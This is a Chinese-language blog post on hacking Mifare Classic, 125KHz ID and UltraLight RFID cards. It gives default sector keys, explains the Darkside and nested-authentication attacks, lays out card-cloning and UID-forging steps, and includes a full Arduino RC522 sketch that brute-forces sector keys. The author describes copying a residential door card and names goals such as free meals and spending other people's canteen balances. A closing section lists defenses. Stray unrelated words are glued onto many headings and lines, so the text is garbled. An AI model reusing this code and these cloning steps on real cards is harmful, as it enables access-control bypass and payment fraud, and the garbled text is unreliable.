Hack Mifare Classic 1K/M一、低頻卡、Mifare PLUS、Mifare DESFire、UltraLight Based On RC522

cataloguephp

0. 引言
1. Mifare Classic/M1/IC卡/智能卡
2. 低頻卡(125KHz)
3. UID(身份識別卡)卡(TK4100)
4. UltraLight卡
5. 相關工具/設備/模組
6. 消費終端設備安全
7. 個人實驗過程
8. 防護

 

0. 引言html

卡的分類種類繁多,同一張卡能夠歸屬於多個類別中,一張卡具有哪一種屬性取決於卡內的芯片和EPPROM存儲,由於製做工藝的不一樣,有的卡能夠作成鑰匙扣,有的能夠作成卡片算法

0x1: 鑰匙扣數據庫

1. ID卡
    1) ISO 14443/ISO 10536
    2) 125KHz
    3) 載波頻率爲125KHz(THR12)
    4) 卡向讀卡器傳送數據的調製方式爲加載調幅
    5) 卡內數據編碼採用抗干擾能力強的BPSK相移鍵控方式,卡向讀卡器數據傳送頻率爲3.9kbps(THRC12)
    6) 卡號的惟一性和安全性

2. IC卡
    1) ISO 14443/ISO 10536
    2) 125KHz
    3) FM1108芯片

0x2: 非接觸式ID卡數組

1. ID白卡
2. 採用層壓/自動黏貼/超聲波封裝 封裝工藝
3. 表面18位ID卡號
4. 125KHz
5. 卡向讀卡器傳送數據的調製方式爲加載調幅
6. 卡內數據編碼採用抗干擾能力強的BPSK相移鍵控方式,卡向讀卡器數據傳送頻率爲3.9kbps(THRC12)
7. 卡號的惟一性和安全性

除了薄卡,還有另外一種EMID厚卡安全

0x3: 接觸式ID卡less

0x4: 非接觸式IC卡ide

1. 復旦M1(IC)白卡
2. 13.56MHZ
3. 採用層壓/自動粘貼/超聲波封裝 封裝工藝
4. 原裝復旦FM1108芯片
5. PVC/PET/0.13銅線

滴膠卡工具

0x5: 接觸式IC卡oop

T4443卡

所謂接觸式IC卡,是指IC卡讀寫數據的方式由IC卡的觸電與IC卡讀寫設備的觸電進行解除讀寫數據的一種IC卡。卡內封裝的集成電路芯片,能夠記錄並刷新所存儲內容,在使用時,經過有形的電極觸電將卡的集成電路與外部接口設備直接接觸連接,進行數據交換
IC卡又稱爲智能卡
IC卡須要作初始化工做(即加密)(無論是否接觸)

在實際使用中,IC卡經常被做爲可編輯的ID卡使用
T577卡是T5557卡、T5567卡的升級版,具備防磁、防靜電、抗破壞性和耐用性強,防僞性好,存儲數據安全等特色,按照ISO7816標準執行

Relevant Link:

https://mtxxbg.tmall.com/?spm=a220o.1000855.1997427133.d4918061.l7wwYP
http://www.freebuf.com/articles/wireless/8858.html
http://www.freebuf.com/news/topnews/80786.html

 

1. Mifare Classic/M1/IC卡/智能卡

不少時候咱們談到Hack Mifare Classic/M1,其實是在談如何經過讀寫篡改卡中的數據,如何逆向卡內EEPROM數據的加密算法,這裏須要明白的是,能夠向卡內寫入數據並不意味着就已經 Hack掉了這張卡,經過M1的密碼驗證向卡內寫入數據只是第一步(進了大門),真正的工做在於如何解讀讀到的不一樣扇區、不一樣塊的數據,這至關於不一樣的 M1對應的業務場景(例如飯卡、水卡、公交卡),因此說Hack一張M1 RFID卡,其實是在Hack它對應的數據存儲加密算法(不一樣bit位對應不一樣的業務場景)

0x0: 什麼是IC卡

IC卡又稱爲智能卡,有加密功能,數據記錄可靠,使用方便如一卡通系統、消費系統
IC卡在使用時,必需要先經過IC卡與讀寫設備間"預約義"的雙向密鑰認證後,才能進行相關工做,因此,就必須對出場的IC進行初始化加密,目的是在出廠後的IC卡內生成不可破解的一卡通系統密鑰,以保證一卡通系統的安全發放機制(例如城市公交系通通必定製一批刷卡讀卡器和公交卡,它們之間就會使用一對以前未使用過的新的雙向密鑰,以防止外人破解)

0x1: 前提條件

要hack一張M1卡類型的RFID卡,須要如下幾個方面

1. 知道目標RFID卡、目標扇區的密碼
    1) 暴力破解
    2) 大多數卡使用默認密碼
2. 目標RFID卡、包括總體認證計費系統採起離線或準離線方式,咱們經過修改卡內數據能直接生效。不然若是目標RFID卡內只保存一個ID號(UID卡),全部的認證和計費都在SERVER端完成(相似於WEB中的SESSOIN認證機制同樣),這種卡每每帶有公私鑰非對稱加密機制,單純修改ID號是沒法生效的
3. 咱們須要修改的目標扇區的讀寫控制位爲可寫
4. UID卡的卡號通常寫在0扇區、0塊中

0x2: 爆破卡密碼

在 CRYPTO1 算法的細節沒有被泄露以前,最有效的方法就是暴破了。還有一個很重要的緣由就是,M1 卡是被動卡,須要讀卡器爲它提供能量,一旦讀卡器切斷了電源,卡中的臨時數據就會丟失,這樣就沒有辦法記錄下攻擊者究竟輸錯了多少次密碼,卡永遠不會由於密碼輸入錯誤太多而被鎖定,只要攻擊者有時間慢慢嘗試,密碼確定會出來的
這裏列舉一些常見的 M1 卡密鑰

FFFFFFFFFFFF
A0A1A2A3A4A5
D3F7D3F7D3F7
000000000000
A0B0C0D0E0F0
A1B1C1D1E1F1
B0B1B2B3B4B5
4D3A99C351DD
1A982C7E459A
AABBCCDDEEFF
B5FF67CBA951
714C5C886E97
587EE5F9350F
A0478CC39091
533CB6C723F6
24020000DBFD
000012ED12ED
8FD0A4F256E9
EE9BD361B01B

0x3: 重放攻擊(PRNG漏洞):DarkSide攻擊(密鑰流竊聽)

重放攻擊是基於 M1 卡的 PRNG 算法漏洞實現的,當卡接近讀卡器得到能量的時候,就會開始生成隨機數序列,但這有一個問題,由於卡是被動式卡,自己本身不帶電源,因此斷電後數據沒辦法保存,這時基於 LSRF 的 PRNG 算法缺陷就出來了,每次斷電後再從新接入電,卡就會生成一摸同樣的隨機數序列,因此咱們就有可能把這個序列計算出來,因此只要咱們控制好時間,就可以知道在得到能量後的某一刻時間的隨機數是多少,而後進行重放攻擊,就有可能篡改正常的數據。若是卡的全部權在咱們手上的時候,咱們甚至不須要浪費太多的時間就能夠實現

http://www.freebuf.com/articles/wireless/109151.html
利用RFID閱讀器能夠嗅探到所有扇區都加密的 M1 卡,在卡和已經受權的讀卡器交換數據的時候進行竊聽,就能把 tag 數據讀取出來(獲得密文和明文,猜解密鑰),利用 XOR 算 Key 工具就能夠把扇區的密鑰計算出來,這也是 PRNG 算法的漏洞所致使的

這種攻擊方式相似於WPA WIFI密碼破解,須要基於嗅探抓到握手包,而後經過算法自己可逆的特性獲得密鑰KEY

1. 以讀卡器的挑戰值作變量
這裏說的讀卡器實際上指的是用來模擬讀卡器的攻擊工具,下個攻擊亦如此。這種攻擊又可稱選擇密文攻擊,想法用工具控制被攻擊的卡每次在認證時產生同一挑戰值,而讀卡端則迴應不一樣值。這種攻擊須要大約28500次的認證過程,用時約15分鐘,而後計算密鑰,用時約一分鐘

2. 卡的挑戰值作變量
這種攻擊與攻擊1相似,但須要使本身的工具的挑戰值爲常數,而令卡的挑戰值數不斷變化。須要預製一個384 GB的狀態表。要進行4096次認證。大約用時2分鐘 

0x4: 克隆卡片

這是一個很簡單也很實用的方法,由於M1卡自帶扇區能夠保存數據,因此大部分的卡片會選擇加密扇區後將數據保存在裏面,因此咱們徹底能夠克隆一張帶有同樣數據的克隆卡。這就會用到一種叫 UID 卡的特殊 M1 模擬卡,前面說到每張 M1 卡在 0 扇區第 1 段都會有一個全球惟一的 UID 編號,並且這個塊在出廠以後是被廠商設定保護沒法修改的,UID 卡就是沒有設定 0 扇區保護的卡,因此你能夠隨意的修改你想要的 UID,這樣咱們就能夠克隆出一張連 UID 都相同的卡片了

跟ID卡同樣,複製IC卡的UID號碼寫入到新的空白IC卡中
//將IC卡看成可編輯的ID卡使用

0x5: 驗證漏洞(嵌套認證攻擊)

驗證漏洞是目前使用最多的M1破解手段,在讀卡器嘗試去讀取一個扇區時,卡會首先發一個隨機數給讀卡器,讀卡器接到隨機數以後利用自身的算法加密這個隨機數再反饋回給卡,卡再用本身的算法計算一次,發現結果一致的話就認爲讀卡器是受權了的,而後就用開始本身的算法加密會話並跟讀卡器進行傳送數據。這時候問題就來了,當咱們再次嘗試去訪問另外一個扇區,卡片又會重複剛纔那幾個步驟,但此時卡跟讀卡器之間的數據交換已是被算法加密了的,而這個算法又是由扇區的密鑰決定的,因此密鑰就被泄露出來了。所以驗證漏洞要求咱們至少知道一個扇區的密鑰,但目前大部分的扇區都沒有所有加密,因此很容易就會被破解

0x6: 數據區段加密算法破解

這是在已知或破解出目標扇區的KeyA/KeyB密鑰,且控制位至少包含可讀/可寫的前提下,讀取出指定塊區的dump文件後,經過屢次"刷卡消費"獲得多份不一樣的dump文件,經過後續的對比和分析逆向出卡自己業務算法邏輯的一種攻擊方式

Relevant Link:

http://www.52pojie.cn/thread-363760-1-1.html
http://tieba.baidu.com/p/3037948238
https://bobylive.com/static/1491
https://s1.boby.im/other/The-MIFARE-Hack.pdf
https://s1.boby.im/other/Dismantling-MIFARE-Classic.pdf
http://www.freebuf.com/articles/terminal/5682.html
http://www.freebuf.com/articles/wireless/109151.html
http://bbs.pediy.com/showthread.php?t=144717
http://www.evil0x.com/posts/5619.html
http://blog.csdn.net/douniwan5788/article/details/7491455
http://www.2cto.com/Article/201406/305845.html
http://www.freebuf.com/news/topnews/54481.html
http://www.vccoo.com/v/40f33e
http://www.fwqtg.net/rfid%E4%B9%8Bm1%E5%8D%A1%E6%95%B0%E6%8D%AE%E5%88%86%E6%9E%90.html

 

2. 低頻卡(125KHz)

根據頻率的高低和距離的不一樣有高低遠近之分,高頻卡的感應距離較遠,像停車廠裏面用超高頻卡的,車子還沒到門就能感應自動打開了。而低頻卡如門禁卡、公交卡等感應距離短,須要靠近1cm以內才能感應

低頻卡常見於ID卡,由於其使用場景多爲近距離接觸,且僅僅須要一個"識別代號(如物流跟蹤)"

0x1: 什麼是低頻

低頻(LF, Low frequency)是指頻帶由30KHz到300KHz的無線電電波。一些無線電頻率識別(RFID技術 )標籤使用低頻。 這些標籤一般被稱爲 LFID's或LowFID's(低頻率識別Low Frequency Identification)
然而LFID’s/LowFID’s所經常使用(非惟一)的頻率爲125kHz/134kHz,125kHz/134kHz只是低頻RFID所基於的頻率,該頻率不存在任何功能性,就是頻率自己不存在所謂的ID識別、讀取寫入等,而經常使用的低頻卡有HID、T55xx、EM4x等系列,這些系列的低頻卡都是你們在生活當中經常會使用到會碰到的,可是要注意的是。並非說就由於經常適用於這些領域和區域,就表明着低頻卡就是ID卡,這是沒有根據性的,低頻卡和ID卡是兩個有相交區域的不一樣集合

0x2: 逆向分析EM410x卡

http://www.freebuf.com/articles/wireless/9921.html

Relevant Link:

http://www.freebuf.com/articles/wireless/9451.html
http://www.freebuf.com/articles/wireless/9921.html

 

3. UID(身份識別卡)卡(TK4100)

0x0: 什麼是ID卡

ID卡全稱身份識別卡,是一種不可寫入的感應卡,含固定的編號
ID卡不須要初始化(即不須要雙向認證密鑰),ID卡與磁卡同樣,都僅僅使用了"卡的號碼"而已,卡內除了卡號外,無任何保密功能,其"卡號"是公開的、裸露的。因此說ID卡本質上就是"感應式磁卡",也就根本談不上須要仍是不須要初始化的問題

所謂ID卡,更多地指的是卡的用途而非卡自己的結構,RFID卡在0扇區、0塊保存了卡序列號、校驗碼、廠商信息,Mifare Classic 提供 1 Kb - 4Kb 的容量,如今國內採用的多數是 Mifare Classic 1k(S50)[後面簡稱 M1 卡]
M1 卡有從 0 到 15 共 16 個扇區,每一個扇區配備了從 0 到 3 共 4 個段,每一個段能夠保存 16 字節的內容。每一個扇區的第 4 個段(也就是 3 段)是用來保存 KeyA,KeyB 和控制位的,由於 M1 卡容許每一個扇區有一對獨立的密碼保護,這樣可以更加靈活的控制數據的操做,控制位就是這個扇區各類詳細權限計算出來的結果
每張 M1 卡都有一個全球惟一的 UID 號,這個 UID 號保存在卡的第一個扇區(0 扇區)的第一段(0 段),也稱爲廠商段,其中前 4 個字節是卡的 UID,第 5 個字節是卡 UID 的校驗位,剩下的是廠商數據。而且這個段在出廠以前就會被設置了寫入保護,只能讀取不能修改,固然也有例外,有種叫 UID 卡的特殊卡,UID 是沒有設置保護的,其實就是廠家不按規範生產的卡,M1 卡出廠是要求要鎖死 UID 的
從安全攻防的角度來看,一個正常合規的卡(正規的公交卡)是不能隨意修改UID的,可是咱們能夠用非正規的S50/S70白卡(即UID未設置寫保護)進行卡克隆、卡僞造

0x1: 卡複製

1. 大部分卡的0扇區未進行加密,或者使用了默認密鑰,因此auth認證這關每每難度不大。這一步可能須要使用基於字典的keyA/keyB猜解攻擊
2. 讀出全部扇區/塊區binary數據,保存爲dump.bin文件
3. 將讀出數據逐扇區/逐塊寫入一張白卡中(S50、S70),即完成一張卡的複製

0x2: 卡僞造

其餘時候,咱們不只須要100%複製一張卡,還但願可以自定義任意UID卡號的卡

1. 輸入4bytes序列號
2. 將4bytes序列號逐一xor計算獲得結果即爲校驗碼
3. 將5bytes數據寫入白卡的0扇區、0塊

0x3: 防止可修改UID的M1卡(複製卡)的方法

1. 判斷Select命令的返回SAK,M1卡的返回值應該是08。若是第一個字節爲28,則有多是CPU卡模擬的M1卡
2. 在選卡後修改第0塊會先發送兩個特殊指令,要防卡該類卡就是看這兩個指令有沒有返回值
//這種檢測思想有點相似惡意軟件檢測中Sandbox的主動行爲探測

3. M1卡的KeyA、KeyB早已經被破解了,因此卡內的重要數據必需要和UID一塊兒加密才能保證必定的安全性

正由於出現了這種可複製的M1卡,對於已經採用M1卡的系統都是不安全的。該方法對已有的M1卡系統進行升級,能夠在必定範圍內防止這種複製卡

0x4: ID卡的攻擊面

ID卡屬於你們常說的低頻卡,通常大部分狀況下做爲門禁卡或者大部分大學裏使用的飯卡,通常爲厚一些的卡,是隻讀的,卡里面只保存有一串惟一的數字序號ID,能夠把這串數字理解爲你的身份證號,刷卡的時候,讀卡器只能讀到ID號,而後經過跟後臺數據庫進行匹配,若是是門禁卡,那麼數據庫裏面就是存在這樣的ID號,若是匹配上門就開了,匹配不上門就開不了
若是是學校的飯卡,刷卡的時候,實際上操做的是你對應ID號相關的數據庫中的數據。ID卡自己不存在任何其餘數據,因此,學校使用的ID卡飯卡,只能複製卡,刷別人的錢(數據庫中的錢),再沒有其餘辦法

Relevant Link:

http://www.hackdig.com/?10/hack-15044.htm
http://anfang.huangye88.com/xinxi/36966320.html
http://www.xuebuyuan.com/217696.html
http://www.freebuf.com/articles/wireless/50123.html
http://www.freebuf.com/geek/11944.html

 

4. UltraLight卡

0x1: 重放/重置攻擊

MIFARE ultralight是不存在加密的,因此是不須要認證的,攻擊者只須要針對數據進行識別,從而找到相關的數據進行修改就能夠達到不斷使用的效果

Relevant Link:

http://www.freebuf.com/articles/terminal/5801.html

 

5. 相關工具/設備/模組

0x1: MFRC522

0x2: FM1702SL

0x3: ACR122

0x4: proxmark3

0x5: Mifare Classic Tool (MCT)

Mifare Classic Tool (MCT) – 一款用來讀取/編輯/分析Mifare Classic卡片的集成化軟件

0x6: M1卡服務程序

0x7: fixdump

但mfoc本來是運行在Linux環境下的,移植到Windows下的mfocgui生成的dump文件是並不能直接使用的,還須要一個修復工具fixdump,將1kb的dump文件修復成4kb的dump文件才行

Relevant Link:

http://www.freebuf.com/sectool/7531.html
http://www.myhack58.com/Article/html/3/92/2014/46143.htm
http://www.codesec.net/view/56806.html
http://www.770921.com/thread-297409-1-1.html

 

6. 消費終端設備安全

消費終端設備之因此能夠被利用來進行非法充值操做,主要是由於設備當中存在着一個事關重要的模塊 - SAM(Secure Access Module/Secure Application Module 安全)塊)。SAM是一種可以提供必要的安全機制以防止外界對終端所儲存或處理的安全數據進行非法攻擊的硬件加密模塊,而且SAM是一種統稱,一般SAM包括了

1. PSAM(Purchase Secure Access Module)消費終端安全控制模塊
2. ESAM(Embedded Secure Access Module)嵌入式安全控制模塊 
3. ISAM(Increase Secure Access Module)充值權限認證控制模塊 
4. USAM(Universal Secure Access Module)通用安全控制模塊

在黑產界傾向經過"設備被偷實現盜刷目的",從而進行非法充值操做。之因此這麼作的緣由就是由於設備當中有SAM,因此攻擊者無需破解FeliCa/M1就能夠直接修改卡內當中的電子錢包數據。在國內RFID黑色產業當中,基於消費終端設備內的SAM攻擊的手法也家常便飯

Relevant Link:

http://www.freebuf.com/articles/terminal/5473.html

 

7. 個人實驗過程

0x1: 破解M1卡(鑰匙扣)密碼KeyA/KeyB

rc522在和M1卡進行auth認證時,若是當前傳入的密鑰不對,則M1的整個三向握手會失敗,M1和清空當前會話(此前的選卡、鎖卡所有無效),因此對於M1卡的爆破須要不斷重複整個選卡->鎖卡->認證過程。可使用EEPROM來存儲密鑰破解過程的中間值

#include <SPI.h>
#include <RFID.h>
#include <EEPROM.h>

//4字節卡序列號,第5字節爲校驗字節
uchar serNum[5];
uchar  writeDate[16] ={'T', 'e', 'n', 'g', ' ', 'B', 'o', 0, 0, 0, 0, 0, 0, 0, 0,0};

//扇區A密碼,16個扇區,每一個扇區密碼6Byte
uchar sectorKeyA[16][16] = {
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //1
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //2
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //3
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //4
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //5
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //6
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //7
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //8
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //9
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //10
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //11
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //12
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //13
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //14
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //15
   {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}   //16
};
uchar sectorNewKeyA[16][16] = {
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},   //1
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},   //2
  {0xff, 0x07, 0x80, 0x69, 0xFF, 0xFF},   //3
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},   //4
  {0xFF, 0xFF, 0xFF, 0xFF, 0xff, 0x07},   //5
  {0x80 ,0x69, 0xFF, 0xFF, 0xFF, 0xFF},   //6
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},   //7
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //8
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //9
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //10
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //11
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //12
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //13
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //14
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},  //15
  {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}   //16
};
                               
//D10 - 讀卡器CS引腳、D5 - 讀卡器RST引腳
RFID rfid(10,5);   
uchar status;
uchar str[MAX_LEN];  //MAX_LEN爲16,數組最大長度



/*
void crackSector_(int sectorNum){
  unsigned char status; 
  uchar sectorKeys[6] = {255, 255, 255, 255, 255, 254};   
  
  status = rfid.auth(PICC_AUTHENT1A, sectorNum * 4, sectorKeys, serNum);        //認證
  if (status == MI_OK) { 
    Serial.println("crack success!");   
    havaCracked = 1;
    return;
  } 
}
*/

void initSectorKeyEEPROM(){
  EEPROM.write(1, 255); //keyIndex_1
  EEPROM.write(2, 255); //keyIndex_2
  EEPROM.write(3, 255); //keyIndex_3
  EEPROM.write(4, 255); //keyIndex_4
  EEPROM.write(5, 255); //keyIndex_5
  EEPROM.write(6, 240); //keyIndex_6
}

uchar sectorKeys[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};

int addSector(){
  int keyIndex_1,keyIndex_2,keyIndex_3,keyIndex_4,keyIndex_5,keyIndex_6;
  int havaCracked ;
  
  keyIndex_1 = EEPROM.read(1);  
  keyIndex_2 = EEPROM.read(2);   
  keyIndex_3 = EEPROM.read(3);  
  keyIndex_4 = EEPROM.read(4);   
  keyIndex_5 = EEPROM.read(5);   
  keyIndex_6 = EEPROM.read(6);  
  
  if(keyIndex_1 >= 255){
    if(keyIndex_2 >= 255){
      if(keyIndex_3 >= 255){
        if(keyIndex_4 >= 255){
          if(keyIndex_5 >= 255){
            if(keyIndex_6 >= 255){
              Serial.println("crack error!, key reach the limit"); 
              havaCracked = 1; EEPROM.write(0, havaCracked);
            }else{
              keyIndex_6++;
            }
          }else{
            keyIndex_5++;
          }
        }else{
          keyIndex_4++;
        }
      }else{
        keyIndex_3++;
      } 
    }else{
      keyIndex_2++;
    }  
  }else{
    keyIndex_1++;
  }

  EEPROM.write(1, keyIndex_1); //keyIndex_1
  EEPROM.write(2, keyIndex_2); //keyIndex_2
  EEPROM.write(3, keyIndex_3); //keyIndex_3
  EEPROM.write(4, keyIndex_4); //keyIndex_4
  EEPROM.write(5, keyIndex_5); //keyIndex_5
  EEPROM.write(6, keyIndex_6); //keyIndex_6
}

void printSector(){
  int keyIndex_1,keyIndex_2,keyIndex_3,keyIndex_4,keyIndex_5,keyIndex_6;
  
  keyIndex_1 = EEPROM.read(1); Serial.print(keyIndex_1); Serial.print('\t'); 
  keyIndex_2 = EEPROM.read(2); Serial.print(keyIndex_2); Serial.print('\t'); 
  keyIndex_3 = EEPROM.read(3); Serial.print(keyIndex_3); Serial.print('\t');  
  keyIndex_4 = EEPROM.read(4); Serial.print(keyIndex_4); Serial.print('\t');  
  keyIndex_5 = EEPROM.read(5); Serial.print(keyIndex_5); Serial.print('\t');  
  keyIndex_6 = EEPROM.read(6); Serial.print(keyIndex_6); Serial.print('\t');  
 
  Serial.println(" "); 
}

//破解卡指定扇區密碼 
void crackSector(int sectorNum){
  unsigned char status;  
  int havaCracked;  
  int keyIndex_1,keyIndex_2,keyIndex_3,keyIndex_4,keyIndex_5,keyIndex_6;
  
  //printSector(); 

  keyIndex_1 = EEPROM.read(1);  
  keyIndex_2 = EEPROM.read(2);   
  keyIndex_3 = EEPROM.read(3);  
  keyIndex_4 = EEPROM.read(4);   
  keyIndex_5 = EEPROM.read(5);   
  keyIndex_6 = EEPROM.read(6);  
  uchar sectorKeys[6] = {(uchar)keyIndex_1, (uchar)keyIndex_2, (uchar)keyIndex_3, (uchar)keyIndex_4, (uchar)keyIndex_5, (uchar)keyIndex_6};
  status = rfid.auth(PICC_AUTHENT1A, sectorNum * 4, sectorKeys, serNum);        //認證
  if (status == MI_OK) { 
    Serial.println("crack success!");  
    Serial.print("sector ");  Serial.print(sectorNum); Serial.print(" key:  "); 
    printSector();
    havaCracked = 1; EEPROM.write(0, havaCracked);
    //return;
  }else{
    addSector(); 
  } 
}


//讀卡
void readSector(int blockNum, unsigned char *recvData){ 
  unsigned char status;
  //選擇操做的塊地址0~63
  uchar blockAddr;     
  blockAddr = blockNum;   
                             
  status = rfid.auth(PICC_AUTHENT1A, blockAddr, sectorNewKeyA[blockAddr/4], serNum);        //認證
  if (status == MI_OK) { 
    status = rfid.read(blockAddr, recvData);
    if (status == MI_OK) {
      //Serial.println("Read from the card ,the data is : ");
      for (int i=0; i<MAX_LEN; i++) {
        Serial.print(recvData[i]);
        Serial.print('\t');
      }
      Serial.println(" ");
    }
  }
  else{
    Serial.println("Auth error");
  }
  //Serial.println(" ");
}
 

void setup()
{
  int havaCracked = 0;
  int crackSectorIndex = 0;
  Serial.begin(9600);
  SPI.begin(); 
  rfid.init(); //初始化
  Serial.print("init ");

  EEPROM.write(0, havaCracked); //havaCracked
  EEPROM.write(10, crackSectorIndex); //havaCracked

  initSectorKeyEEPROM();
}


void loop()
{
   int havaCracked = 0;
   int crackSectorIndex = 0;
   uchar RC_size; 
   
  //Search card, return card types
  if (rfid.findCard(PICC_REQIDL, serNum) == MI_OK) {
    //Serial.println("Find the card!");
    // Show card type
    //ShowCardType(serNum);
    
    //防衝突檢測,讀取卡序列號
    if (rfid.anticoll(serNum) == MI_OK) {
      //Serial.print("The card's number is  : ");
      
      //顯示卡序列號
      for(int i = 0; i < 4; i++){
        //Serial.print(0x0F & (serNum[i] >> 4),HEX);
        //Serial.print(0x0F & serNum[i],HEX);
      }
      //Serial.println("");
    }
    
    //選卡(鎖定卡片,防止多數讀取,去掉本行將連續讀卡),並返回卡容量
    RC_size = rfid.selectTag(serNum);
    if (RC_size != 0) {
      //Serial.print("Lock Card ok!  Size: ");
      //Serial.println(RC_size);
    }

    havaCracked = EEPROM.read(0);
    //Serial.print("havaCracked: ");  Serial.println(havaCracked);
    //Serial.print("EEPROM.read(10): ");  Serial.println(EEPROM.read(10));
    if(havaCracked == 1 && EEPROM.read(10) <= 15){
        crackSectorIndex = EEPROM.read(10);
        crackSectorIndex++;
        EEPROM.write(10, crackSectorIndex);
 
        EEPROM.write(0, 0);

        initSectorKeyEEPROM();
    } 
    else if(havaCracked == 0){
      //Serial.println("starting crack the card: ..."); 
      crackSectorIndex = EEPROM.read(10);
      crackSector(crackSectorIndex);
    }   
    
    //      
  }else{
    memset(serNum,0,sizeof(uchar) * 5); 
  }
  //rfid.halt();  //命令卡片進入休眠狀態
  //清空狀態
  memset(serNum,0,sizeof(uchar) * 5);
  memset(str,0,sizeof(uchar) * MAX_LEN);
  status = '\x00';
}
 
void ShowCardType(unsigned char * type)
{
  Serial.print("Card type: ");
  if(type[0]==0x04&&type[1]==0x00) 
    Serial.println("MFOne-S50");
  else if(type[0]==0x02&&type[1]==0x00)
    Serial.println("MFOne-S70");
  else if(type[0]==0x44&&type[1]==0x00)
    Serial.println("MF-UltraLight");
  else if(type[0]==0x08&&type[1]==0x00)
    Serial.println("MF-Pro");
  else if(type[0]==0x44&&type[1]==0x03)
    Serial.println("MF Desire");
  else
    Serial.println("Unknown");
}

能夠按照此方法破解出全部扇區的密碼,值得注意的是,keyA、keyB的破解時間成本都是(2 ^ 8) ^ 6次,即最多要進行這麼屢次的"尋卡-選卡-auth認證"才能獲得一個扇區的密碼,而獲得全部扇區還要再乘16

0x2: 讀取並保存整張卡的binary dump

dump整個卡的binary其實就是遍歷全部區塊read出數據,這裏要注意的是read前須要經過auth認證,M1和auth成功和失敗都是同樣的,一旦成功/失敗,以前的尋卡-選卡-鎖卡的狀態全都要清零重來,因此咱們依然須要經過EEPROM來保存咱們當前read的區塊index

0x3: 向指定扇區寫入數據

受到寫保護控制位的限制,咱們沒法修改整個M1卡,可是能夠找一張不帶寫保護的白卡直接將dump數據寫入,直接經過篡改目標M1卡特定區段的數據達到"免費洗澡"、"免費吃飯"等目的已經逐漸沒有探索空間了,如今大多數RFID卡及其業務場景都是採用ID卡或者準ID卡(可編輯的ID卡)模式,卡自己只保存一個ID號,全部的扣費、充值邏輯都在Server端完成

小區門卡原始數據

將這份數據寫入到一張0區塊可檫寫的白卡中

卡的0區塊成功被修改成了小區門卡

0x4: 嗅探讀卡器和M1的auth過程當中的射頻信號

http://www.openpcd.org/Rfiddump.0.html

0x5: 複製小區門卡

因爲小區門卡從sector 3開始就不是採用默認密鑰FF,故沒法完整dump出整張原始卡

Relevant Link:

http://bbs.pediy.com/showthread.php?t=151259

 

8. 防護

0x1: 密鑰B攻擊的應用層防護

1. 應用時改變密鑰的初始值
密鑰的初始值指卡片出廠時被賦予的設置,通常都是"FFFFFFFFFFFF",在一個新系統(例如公交系統)應用期。密鑰A和B都應該從新設置。特別是當系統指定使用密鑰A的時候,不要忘記要把B也換掉。不然它就是一個後門
這種防護手段對"算法逆向後篡改""dump複製全卡"這2種攻擊都能起到必定做用,畢竟逐個扇區密碼爆破至關消耗時間

2. 後臺建帳,按期覈對
爲每張卡創建帳戶,記錄每次(天)充值、消費和餘額信息。並儘可能天天對帳,找出可疑帳戶記錄
這種防護手段對IC卡複製攻擊有必定的做用,可是對ID卡複製攻擊仍然沒法防護
 
3. 應用層數據保護
終端對存儲在數據塊中的應用數據(電子錢包餘額等)使用較強的算法進行加密後再寫入,或對關鍵數據進行mac計算後將MAC碼與數據一併保存在數據塊,讀入時進行驗證(但此方法只能解決隨意改寫的攻擊)

0x2: 密鑰B攻擊的密碼層防護

限制密鑰B在可讀條件下的使用權限,取消此時的認證功能

0x3: 密鑰B攻擊的芯片層防護

在芯片層工程實現密碼層的防護措施

0x4: 密鑰管理

有不少規模不大的M1卡應用系統歷來沒有密鑰管理的概念,發出的卡不只全部扇區的密鑰相同,並且全部卡的密鑰都同樣。一旦一張卡被破解,系統內全部的卡都等於被破解。簡單的解決辦法是先產生一個主密鑰而後對每張卡使用強度足夠的分散算法分散出每張卡的密鑰,還能夠繼續分散出每一個扇區的字密鑰
這方法雖然不能阻止對每張卡的分別破解,卻給大規模破解增長了難度

 

Copyright (c) 2015 LittleHann All rights reserved

相關文章
相關標籤/搜索